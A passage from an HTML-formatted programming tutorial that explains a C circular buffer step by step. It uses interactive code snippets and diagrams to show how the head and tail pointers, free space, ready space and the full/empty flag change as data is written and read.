&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When more data is written in the buffer, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer moves forward, the &lt;em&gt;free space&lt;/em&gt; is reduced and the &lt;em&gt;ready space&lt;/em&gt; is increased, all of them in the same proportion.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_0_10.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The implementation does not track how many bytes are written. It is up to the caller to write in the buffer from the buffer’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and notify the circular buffer how many bytes wrote.&lt;/p&gt;
&lt;p&gt;For example, if we write 10 bytes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AABBCCDDEE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we must notify how many bytes were written updating the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can keep writing and reading from the buffer.&lt;/p&gt;
&lt;p&gt;As we did with the write, once we read the data from the buffer’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we need to notify to the circular buffer that the data can be discarded.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_8_14.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;FFGG&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_tail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AABBCCDD&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;How many bytes we can write is determined by how many &lt;em&gt;free space&lt;/em&gt; the buffer has; how many bytes we can read is determined by how many &lt;em&gt;ready space&lt;/em&gt; the buffer has.&lt;/p&gt;
&lt;p&gt;It is up to the caller honor this.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer reaches the end of the buffer, the pointer is restarted and set back to the begin.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;free space&lt;/em&gt; is expanded from the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is in front of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_8_0.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="contiguous-reading-and-writing"&gt;Contiguous reading and writing&lt;/h3&gt;
&lt;p&gt;If we keep writing (moving the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;), the &lt;em&gt;ready space&lt;/em&gt; will not increase because the circular buffer will always inform how many &lt;em&gt;contiguous&lt;/em&gt; bytes are &lt;em&gt;ready&lt;/em&gt; (for reading) or &lt;em&gt;free&lt;/em&gt; (for writing).&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;ready space&lt;/em&gt; is limited by the end of the buffer in this case:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_8_2.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="when-the-head-bites-the-tail"&gt;When the head bites the tail&lt;/h3&gt;
&lt;p&gt;The critical point happens when the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; reaches the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, this is exactly the same situation that happen at the begin, when the buffer was empty, but now it means that it is full.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_8_8.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To differentiate these two cases, internally there is a flag that tracks when the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;em&gt;behind&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hbehind&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we move the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the end of the buffer, the rest of the bytes written are &lt;em&gt;ready&lt;/em&gt; to be consumed and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is in front of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; again:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_0_8.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_tail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

